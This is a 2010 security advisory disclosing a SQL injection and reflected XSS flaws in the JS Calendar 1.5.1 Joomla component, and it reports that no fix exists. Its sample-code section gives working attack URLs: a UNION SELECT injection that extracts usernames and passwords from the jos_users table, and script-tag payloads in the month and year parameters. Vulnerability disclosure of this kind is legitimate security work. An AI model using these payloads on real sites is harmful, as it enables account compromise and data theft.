JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities Name JS Calendar Vendor http://www.joomlaseller.com Versions Affected 1.5.1 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-10-09 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ JoomlaSeller - Calendar Event is a powerful Joomla! component which allows you to easily create events and publish them on a desired date. It is a native build component for Joomla! 1.5 version and can easily be installed using the Joomla! back-end Install functionality. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in a SQL query or returned to the user. III. ANALYSIS _____________ Summary: A) SQL Injection B) Multiple Reflected XSS A) SQL Injection ________________ Input passed to "ev_id" parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. B) Multiple XSS _______________ Input passed to the "month" and "year" parameters are not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a users browser session in context of an affected site. IV. SAMPLE CODE _______________ A) SQL Injection http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users B) Multiple XSS http://site/path/index.php?option=com_jscalendar&view=jscalendar&month=<script>alert('XSS');</script> http://site/path/index.php?option=com_jscalendar&view=jscalendar&year=<script>alert('XSS');</script> V. FIX ______ No fix.